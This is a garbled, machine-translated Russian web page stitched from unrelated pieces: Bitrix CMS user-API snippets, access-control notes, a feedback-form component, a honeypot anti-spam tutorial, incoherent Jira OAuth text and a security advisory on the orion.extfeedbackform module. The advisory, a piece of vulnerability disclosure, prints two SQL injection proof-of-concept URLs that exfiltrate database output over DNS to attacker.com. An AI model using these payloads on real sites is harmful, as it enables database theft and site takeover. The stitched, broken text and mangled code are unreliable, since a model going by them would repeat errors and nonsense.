Разное

Битрикс isauthorized: CSubscriptionGeneral::IsAuthorized

Данные текущего пользователя — Cниппеты Битрикс d7

Данные текущего пользователя — Cниппеты Битрикс d7

  1. Главная
  2. Сниппеты Битрикс d7

Декабрь 10, 2020

Теги:
Пользователи, Основное

Получение данных о текущем авторизованном пользователе.

С версии 2.5.462 методы $USER->IsAuthorized() объявлены устаревшими и скоро будут вызывать ошибку.

Получить ID текущего авторизованного пользователя:


\Bitrix\Main\Engine\CurrentUser::get()->getId()

Проверить, авторизован ли пользователь:


if(\Bitrix\Main\Engine\CurrentUser::get()->getId())
{

}

Проверить, является ли пользователь админом:


\Bitrix\Main\Engine\CurrentUser::get()->isAdmin()

Получить логин текущего пользователя:


\Bitrix\Main\Engine\CurrentUser::get()->getLogin()

Получить массив групп текущего пользователя:


\Bitrix\Main\Engine\CurrentUser::get()->getUserGroups()

Получить имя, фамилию и пр. текущего пользователя, отформатированное в соответствии с настройками:


\Bitrix\Main\Engine\CurrentUser::get()->getFormattedName()

Получить полное имя текущего пользователя:


\Bitrix\Main\Engine\CurrentUser::get()->getFullName()

Получить имя текущего пользователя:


\Bitrix\Main\Engine\CurrentUser::get()->getName()

Получить фамилию текущего пользователя:


\Bitrix\Main\Engine\CurrentUser::get()->getLastName()

Получить отчество текущего пользователя:


\Bitrix\Main\Engine\CurrentUser::get()->getSecondName()

Проверить, может ли текущий пользователь выполнить операцию с кодом операции в переменной $operationName:


\Bitrix\Main\Engine\CurrentUser::get()->canDoOperation($operationName)

← Переход к списку

  • © Сергей Эстрин, 2015-2021

Отображение шаблона для заданных групп

Дополнительная проверка прав доступа

Bitrix Framework позволяет использовать условия для отображения тех или иных элементов сайта, а также разграничения прав доступа к этим элементам для различных групп пользователей.

  • Настройка шаблона сайта
  • Настройка пунктов меню
  • Настройка доступа к элементам инфоблока

  • Настройка шаблона сайта

    Например, в зависимости от группы пользователей, к которой относится текущий пользователь, может показываться конкретный шаблон дизайна страниц сайта. Такое условие задается в форме редактирования сайта (Настройки > Настройки продукта > Сайты > Список сайтов):

    Или другой пример, проверка группы пользователей, к которой относится текущий пользователь по PHP выражению:

    !$GLOBALS['USER']->IsAuthorized() && (!isset($_SERVER['REMOTE_USER']) || strlen($_SERVER['REMOTE_USER']) 
    
    

    Также, в дистрибутиве «Битрикс24 в коробке» уже задан пустой шаблон, который отображается для неавторизованных пользователей.


    Настройка пунктов меню

    В зависимости от группы пользователей, к которой относится текущий пользователь, отображаются и пункты меню. Данный тип условий задается в расширенном режиме редактирования меню (подробно про настройку меню смотрите в уроке Расширенный режим настройки меню):

    Если скрыть только пункт меню, но не запретить доступ к разделу, то обычный пользователь сможет зайти в раздел, если он знает его адрес.


    Настройка доступа к элементам инфоблока

    Ряд компонентов системы допускает задание ограничений на доступ к контенту. Например, можно ограничить доступ к детальному просмотру новостей. Рассмотрим это на примере комплексного компонента Новости.

    В группе параметров Дополнительные настройки при установке флажка в поле Использовать дополнительное ограничение доступа появляется дополнительное поле Группы пользователей, имеющие доступ к детальной информации. В этом поле выберите группы пользователей, которым должен быть обеспечен доступ к детальной информации.

    Для выбора нескольких групп используйте кнопку Ctrl. При использовании данного метода пользователь с недостаточным уровнем прав при просмотре с публичной стороны сайта увидит уведомление о том, что ему не разрешен показ этой информации.


    Документация по теме:

    Назад в раздел

    Изменение формы обратной связи в Битрикс

    <?

    if(!defined(«B_PROLOG_INCLUDED»)||B_PROLOG_INCLUDED!==true)die();

    $arParams[«USE_CAPTCHA»] = (($arParams[«USE_CAPTCHA»] != «N» && !$USER->IsAuthorized()) ? «Y» : «N»);

    $arParams[«EVENT_NAME»] = trim($arParams[«EVENT_NAME»]);

    if(strlen($arParams[«EVENT_NAME»]) < = 0)

        $arParams[«EVENT_NAME»] = «FEEDBACK_FORM»;

    $arParams[«EMAIL_TO»] = trim($arParams[«EMAIL_TO»]);

    if(strlen($arParams[«EMAIL_TO»]) <= 0)

        $arParams[«EMAIL_TO»] = COption::GetOptionString(«main», «email_from»);

    $arParams[«OK_TEXT»] = trim($arParams[«OK_TEXT»]);

    if(strlen($arParams[«OK_TEXT»]) <= 0)

        $arParams[«OK_TEXT»] = GetMessage(«MF_OK_MESSAGE»);

     

    if($_SERVER[«REQUEST_METHOD»] == «POST» && strlen($_POST[«submit»]) > 0)

    {

        if(check_bitrix_sessid())

        {

            if(empty($arParams[«REQUIRED_FIELDS»]) || !in_array(«NONE», $arParams[«REQUIRED_FIELDS»]))

            {

                if((empty($arParams[«REQUIRED_FIELDS»]) || in_array(«NAME», $arParams[«REQUIRED_FIELDS»])) && strlen($_POST[«user_name»]) < = 1)

                    $arResult[«ERROR_MESSAGE»][] = GetMessage(«MF_REQ_NAME»);        

                if((empty($arParams[«REQUIRED_FIELDS»]) || in_array(«EMAIL», $arParams[«REQUIRED_FIELDS»])) && strlen($_POST[«user_email»]) <= 1)

                    $arResult[«ERROR_MESSAGE»][] = GetMessage(«MF_REQ_EMAIL»);

                if((empty($arParams[«REQUIRED_FIELDS»]) || in_array(«MESSAGE», $arParams[«REQUIRED_FIELDS»])) && strlen($_POST[«MESSAGE»]) <= 3)

                    $arResult[«ERROR_MESSAGE»][] = GetMessage(«MF_REQ_MESSAGE»);

            }

            if(strlen($_POST[«user_email»]) > 1 && !check_email($_POST[«user_email»]))

                $arResult[«ERROR_MESSAGE»][] = GetMessage(«MF_EMAIL_NOT_VALID»);

            if($arParams[«USE_CAPTCHA»] == «Y»)

            {

                include_once($_SERVER[«DOCUMENT_ROOT»].»/bitrix/modules/main/classes/general/captcha.php»);

                $captcha_code = $_POST[«captcha_sid»];

                $captcha_word = $_POST[«captcha_word»];

                $cpt = new CCaptcha();

                $captchaPass = COption::GetOptionString(«main», «captcha_password», «»);

                if (strlen($captcha_word) > 0 && strlen($captcha_code) > 0)

                {

                    if (!$cpt->CheckCodeCrypt($captcha_word, $captcha_code, $captchaPass))

                        $arResult[«ERROR_MESSAGE»][] = GetMessage(«MF_CAPTCHA_WRONG»);

                }

                else

                    $arResult[«ERROR_MESSAGE»][] = GetMessage(«MF_CAPTHCA_EMPTY»);

     

            }            

            if(empty($arResult))

            {

                $arFields = Array(

                    «AUTHOR» => $_POST[«user_name»],

                    «AUTHOR_TELL» => $_POST[«user_tell»],

                    «AUTHOR_TIME» => $_POST[«user_time»],

                    «AUTHOR_EMAIL» => $_POST[«user_email»],

                    «EMAIL_TO» => $arParams[«EMAIL_TO»],

                    «TEXT» => $_POST[«MESSAGE»],

                );

                if(!empty($arParams[«EVENT_MESSAGE_ID»]))

                {

                    foreach($arParams[«EVENT_MESSAGE_ID»] as $v)

                        if(IntVal($v) > 0)

                            CEvent::Send($arParams[«EVENT_NAME»], SITE_ID, $arFields, «N», IntVal($v));

                }

                else

                    CEvent::Send($arParams[«EVENT_NAME»], SITE_ID, $arFields);

                $_SESSION[«MF_NAME»] = htmlspecialcharsEx($_POST[«user_name»]);

                $_SESSION[«MF_TELL»] = htmlspecialcharsEx($_POST[«user_tell»]);

                $_SESSION[«MF_TIME»] = htmlspecialcharsEx($_POST[«user_time»]);

                $_SESSION[«MF_EMAIL»] = htmlspecialcharsEx($_POST[«user_email»]);

                LocalRedirect($APPLICATION->GetCurPageParam(«success=Y», Array(«success»)));

            }

            

            $arResult[«MESSAGE»] = htmlspecialcharsEx($_POST[«MESSAGE»]);

            $arResult[«AUTHOR_TELL»] = htmlspecialcharsEx($_POST[«user_tell»]);

            $arResult[«AUTHOR_TIME»] = htmlspecialcharsEx($_POST[«user_time»]);

            $arResult[«AUTHOR_NAME»] = htmlspecialcharsEx($_POST[«user_name»]);

            $arResult[«AUTHOR_EMAIL»] = htmlspecialcharsEx($_POST[«user_email»]);

        }

        else

            $arResult[«ERROR_MESSAGE»][] = GetMessage(«MF_SESS_EXP»);

    }

    elseif($_REQUEST[«success»] == «Y»)

    {

        $arResult[«OK_MESSAGE»] = $arParams[«OK_TEXT»];

    }

     

    if(empty($arResult[«ERROR_MESSAGE»]))

    {

        if($USER->IsAuthorized())

        {

            $arResult[«AUTHOR_NAME»] = htmlspecialcharsEx($USER->GetFullName());

            $arResult[«AUTHOR_EMAIL»] = htmlspecialcharsEx($USER->GetEmail());

        }

        else

        {

            if(strlen($_SESSION[«MF_NAME»]) > 0)

                $arResult[«AUTHOR_NAME»] = htmlspecialcharsEx($_SESSION[«MF_NAME»]);

            if(strlen($_SESSION[«MF_EMAIL»]) > 0)

                $arResult[«AUTHOR_EMAIL»] = htmlspecialcharsEx($_SESSION[«MF_EMAIL»]);

            if(strlen($_SESSION[«MF_TELL»]) > 0)

                $arResult[«TELL»] = htmlspecialcharsEx($_SESSION[«MF_TELL»]);

            if(strlen($_SESSION[«MF_TIME»]) > 0)

                $arResult[«TIME»] = htmlspecialcharsEx($_SESSION[«MF_TELL»]);

        }

    }

     

    if($arParams[«USE_CAPTCHA»] == «Y»)

        $arResult[«capCode»] =  htmlspecialchars($APPLICATION->CaptchaGetCode());

     

    $this->IncludeComponentTemplate();

    ?>

    Как защитить формы от спама при регистрации, добавлении элемента ИБ, написании отзыва в Битрикс без капчи

    Капча необходима для защиты от спам-ботов, но не чего не стоит на месте, и уже существуют алгоритмы распознавания разных видов капч. В CMS 1C-Bitrix управление и настройка генерации картинки(капчи) достаточно широко представлена и поможет как настроить капчу под дизайн сайта, так и усложнить процесс распознавания для алгоритмов спам-ботов путём до настройки(линейные искажения, перетекание цвета и т.д.). Но усложняя внешний вид для спам-ботов, мы усложняем его и для пользователя. Тогда необходимо убрать механизм защиты(капчу) и сделать защиту через скрытое поле которое размещается в шаблоне нужного вам компонента и при заполнении его спам-ботом не производить не каких действий при выполнении результатов формы на сервере. Вот такая простая идея.

    Для того чтобы реализовать данную логику для компонента main.register, нужное его скопировать в своё пространство имён и катомизировать. В шаблоне формы регистрации вставить поле тега

    следующую конструкцию:

    <div>
    <input type=»text» value=»» size=»25″ name=»NAME_USER_FALSE»>
    </div>



    <div>

       <input type=»text» value=»» size=»25″ name=»NAME_USER_FALSE»>

    </div>


    С большой вероятностью если форму заполняет спам-бот, то для заполнения он использует парсер страницы, выбирая все input и заполняет их. Таким образом если вашу регистрационную форму будет заполнять спам-бот, то данное поле будет заполнено. Пользователю как вы понимаете данное поле не видно.
    Далее необходимо обработать результат в компоненте, для этого открываем файл component.php и вносим изменение в строке 54:


    if ($_SERVER[«REQUEST_METHOD»] == «POST» &&
    !empty($_REQUEST[«register_submit_button»]) &&
    !$USER->IsAuthorized() &&
    empty($_REQUEST[«NAME_USER_FALSE»]))



    if ($_SERVER[«REQUEST_METHOD»] == «POST» &&

        !empty($_REQUEST[«register_submit_button»]) &&

        !$USER->IsAuthorized() &&

        empty($_REQUEST[«NAME_USER_FALSE»]))


    Задача выполнена, при заполнении поля NAME_USER_FALSE регистрация пользователя происходить не будет. По такому принципу можно сделать защиту и в остальных компонентах, которые используют капчу.
    Для компонента main.feedback строка 16:


    if (check_bitrix_sessid() && empty($_REQUEST[«NAME_USER_FALSE»]))



    if (check_bitrix_sessid() && empty($_REQUEST[«NAME_USER_FALSE»]))


    Для компонента iblock.element.add.form строка 291:


    if (check_bitrix_sessid() && empty($_REQUEST[«NAME_USER_FALSE»]) && (!empty($_REQUEST[«iblock_submit»]) || !empty($_REQUEST[«iblock_apply»])))



    if (check_bitrix_sessid() && empty($_REQUEST[«NAME_USER_FALSE»]) && (!empty($_REQUEST[«iblock_submit»]) || !empty($_REQUEST[«iblock_apply»])))


    Для компонента forum.topic.reviews файл action.php строка 25:


    elseif ((empty($_REQUEST[«preview_comment»]) || $_REQUEST[«preview_comment»] == «N») && empty($_REQUEST[«NAME_USER_FALSE»]) && ($_REQUEST[«save_product_review»] == «Y»))



    elseif ((empty($_REQUEST[«preview_comment»]) || $_REQUEST[«preview_comment»] == «N») && empty($_REQUEST[«NAME_USER_FALSE»]) && ($_REQUEST[«save_product_review»] == «Y»))


    SQL-инъекция в модуле orion.extfeedbackform Bitrix — HTB23280 Security Advisory

    High-Tech Bridge Security Research Lab обнаружила две уязвимости в модуле orion.extfeedbackform Bitrix, которые можно использовать для выполнения произвольных SQL-запросов и получения потенциально конфиденциальных данных, изменения информации в базе данных и получите полный контроль над уязвимым сайтом.

    Все обнаруженные уязвимости требуют, чтобы злоумышленник авторизовался на сайте и имел доступ к уязвимому модулю.Однако уязвимости можно использовать и через CSRF, поскольку веб-приложение не проверяет происхождение полученных запросов. Это означает, что удаленный анонимный злоумышленник может создать страницу с эксплойтом CSRF, заставить жертву посетить эту страницу и выполнить произвольные SQL-запросы в базе данных уязвимого веб-сайта.

    Уязвимость существует из-за недостаточной фильтрации входных данных, передаваемых по параметрам «порядок» и «HTTP GET» в /bitrix/admin/orion.extfeedbackform_efbf_forms.php «. Удаленный злоумышленник, прошедший проверку подлинности, может манипулировать SQL-запросами, внедряя произвольный SQL-код.

    Ниже приведены два эксплойта для каждого уязвимого параметра. Они основаны на технике DNS Exfiltration и могут использоваться, если база данных уязвимого приложения размещена на система Windows. PoC отправит DNS-запрос с запросом IP-адреса для поддомена «version ()» (или любого другого конфиденциального вывода из базы данных) «.attacker.com» (доменное имя, DNS-сервер которого контролируется злоумышленник).

    «заказ»:

    http: // [host] /bitrix/admin/orion.extfeedbackform_efbf_forms.php?by=ID,%28sel ect% 20load_file% 28CONCAT% 28CHAR% 2892% 29, CHAR% 2892% 29, % 28select% 20version% 28% 29% 29, CHAR% 2846% 29, CHAR% 2897% 29, CHAR% 28116% 29, CHAR% 28 116% 29, CHAR% 2897% 29, CHAR% 2899% ​​29, CHAR% 28107% 29, CHAR% 28101% 29, CHAR% 28114% 29, CHAR% 2846% 29, CHAR% 2899% ​​29, CHAR% 28111% 29, CHAR% 28109% 29, CHAR% 2892% 29, CHAR% 28102% 29, CHAR% 28111% 29, CHAR% 28111% 29, CHAR% 2898% 29, CHAR% 2897% 29, CHAR% 28114% 29% 29% 29% 29 + — +

    «по»:

    http : // [хост] / bitrix / admin / orion.extfeedbackform_efbf_forms.php? order =% 28sel ect% 20load_file% 28CONCAT% 28CHAR% 2892% 29, CHAR% 2892% 29,% 28select% 20version% 28% 29% 29, CHAR% 2846% 29, CHAR% 2897% 29, CHAR % 28116% 29, CHAR% 28 116% 29, CHAR% 2897% 29, CHAR% 2899% ​​29, CHAR% 28107% 29, CHAR% 28101% 29, CHAR% 28114% 29, CHAR% 2846% 29, CHAR% 2899% ​​29, CHAR% 28111% 29, CHAR% 28109% 29, CHAR% 2892% 29, CHAR% 28102% 29, CHAR% 28111% 29, CHAR% 28111% 29, CHAR% 2898% 29, CHAR% 2897% 29, CHAR% 28114% 29% 29% 29% 29 + — +

    Jira oauth3

    • Преобразователь напряжения Nespresso

    Этот драйвер поддерживает последние стандарты безопасности API (т.е.е. OAuth 2.0, JWT, X509) и оптимизирован для больших файлов данных. Этот драйвер имеет встроенную поддержку SQL Server с использованием шлюза данных. Этот драйвер использует тот же высокопроизводительный механизм обработки данных, который изначально был разработан для соединителя JSON / REST в SSIS PowerPack. ПРИМЕЧАНИЕ. Все извлечение метаданных и данных будет выполняться с использованием учетных данных OAuth пользователя Jira, а не учетных данных системного администратора. Это гарантирует, что чьи-либо разрешения Jira применяются при выборе проектов и полей, а также при попытке получить или изменить данные Jira из Smartsheet.

    JIRA OAuth CLI. Инструмент командной строки, который помогает разработчикам настроить OAuth в Jira и получить токены для использования с Atlassian .NET SDK .. Требования .NET Core. Доступ к серверу Jira v7 или выше. 16 мая 2019 г. · JIRA Workflow Toolbox: добавляет в рабочие процессы условия, валидаторы и пост-функции. Easybi Reports and Charts for JIRA: создает отчеты, диаграммы и гаджеты панелей мониторинга. На момент написания этой статьи существует более 1600 плагинов, которые вы можете использовать, чтобы получить больше от управления проектами JIRA.Ознакомьтесь с полным списком, чтобы узнать, что вы можете сделать. from atlassian import Jira from atlassian import Confluence from atlassian import Bitbucket from atlassian import ServiceDesk jira = Jira … oauth_dict = {‘access … Если вы настроили учетную запись ALM с помощью oAuth, тогда каждый отдельный пользователь также должен настроить свои собственные учетные записи oAuth для Кендис. Руководство по настройке учетной записи ALM на основе oAuth доступно по этой ссылке. Примечание. Пользователям не нужно указывать какие-либо ключи и т. Д., Необходимые для создания ALM, им нужно только авторизовать свою учетную запись Jira, как описано в следующих шагах.Jira Service Desk использует стандарт аутентификации OAuth, который требует, чтобы аутентифицирующий пользователь взаимодействовал с Jira Service Desk через браузер. Драйвер обеспечивает обмен OAuth различными способами, как описано в этом разделе. Обратите внимание, что OAuth 2.0 поддерживается только для Jira Service Desk Cloud. Создайте приложение OAuth

    Jira oauth3

    2 дня назад · Однако у меня есть настраиваемая страница поддержки, на которой мои сотрудники смогут входить в систему со своими учетными данными JIRA (это настраиваемая страница входа, а не страница входа в JIRA) .Как я могу проверить подлинность этого идентификатора пользователя / пароля? есть ли API, который отвечает токеном OAuth в обмен на правильность этих учетных данных?

    Войдите в учетные записи JIRA, Confluence, Bitbucket и Bamboo, используя сервер OAuth 2.0. Коннекторы SSO Crowd Управляйте пользователями и группами в Crowd для SSO в JIRA, Confluence, Bitbucket, Bamboo и Fisheye.

    Bitbucket

    Плагин OAuth / OpenID Login позволяет входить в Jira и Service Desk с помощью Discord, Facebook, Meetup, Strava, Bitrix, умного и настраиваемого приложения OAuth / OpenID.Плагин OAuth / OpenID Client работает с любым поставщиком OAuth / OpenID, который соответствует стандартам OAuth 2.0 и OpenID.

    23 ноября 2020 г. · Вы можете интегрировать свое приложение с аутентификацией OAuth 2.0 для подключения к сторонним приложениям, например к почтовому серверу. Мы поддерживаем только трехстороннюю аутентификацию. OAuth 2.0 доступен только для Jira server 8.10 и более поздних версий, которые используют HTTPS или TLS. Это необходимо для обеспечения безопасности создания токенов.

    2 дня назад · Однако у меня есть настраиваемая страница поддержки, на которой мои сотрудники смогут войти в систему со своими учетными данными JIRA (это настраиваемая страница входа, а не страница входа в JIRA).Как я могу проверить подлинность этого идентификатора пользователя / пароля? есть ли API, который отвечает токеном OAuth в обмен на правильность этих учетных данных?

    Jira использует трехсторонний протокол OAuth (3LO), что означает, что пользователь участвует путем авторизации доступа к своим данным на ресурсе (в отличие от двухстороннего протокола OAuth, в котором пользователь не участвует). В Jira клиент аутентифицируется как пользователь, участвующий в танце OAuth, и имеет право на чтение и запись в качестве этого пользователя.

    Протокол OAuth 2.0 авторизационный код представляет собой 30-символьную случайно сгенерированную строку. Он используется на следующем шаге, запросе к конечной точке токена в обмен на токен доступа. Ответ включает параметр состояния, если он был в вашем запросе.

    Тема: [spring-security-oauth-scm] [jira] Создано: (OAUTHSS-2) Метод проверки подписи HMAC-SHA1 не работает, если подпись содержит экранированный знак «+» в URL-адресе

    Инструкции, представленные в этом руководстве, применимы к Jira Только сервер. Обратитесь к руководству по Jira Cloud для получения дополнительной информации.Atlassian Jira — это продукт для отслеживания проблем, который обеспечивает отслеживание ошибок, автоматизацию рабочих процессов и гибкие инструменты управления проектами для команд любого размера. Соединитель Jira Server предоставил …

    В октябре 2012 года платформа OAuth 2.0 была опубликована как RFC 6749, а использование токена носителя как RFC 6750, оба стандарта отслеживают запросы на комментарии. OAuth 2.0. OAuth 2.0 не имеет обратной совместимости с OAuth 1.0. OAuth 2.0 обеспечивает определенные потоки авторизации для веб-приложений, настольных приложений, мобильных телефонов и интеллектуальных устройств.

    OAuth 2.0 — это протокол авторизации, который предоставляет клиенту API ограниченный доступ к пользовательским данным на веб-сервере. Его особенно используют API-интерфейсы GitHub, Google и Facebook. OAuth основывается на сценариях аутентификации, называемых потоками, которые позволяют владельцу ресурса (пользователю) обмениваться защищенным контентом с сервера ресурсов без совместного использования своих учетных данных.

    IconUriServlet подключаемого модуля Atlassian OAuth от версии 1.3.0 до версии 1.9.12 и от версии 2.0.0 до версии 2.0.4 позволяет удаленным злоумышленникам получить доступ к содержимому внутренних сетевых ресурсов и / или выполнить XSS-атаку с помощью подделки запросов на стороне сервера (SSRF).

    Добавить комментарий

    Ваш адрес email не будет опубликован. Обязательные поля помечены *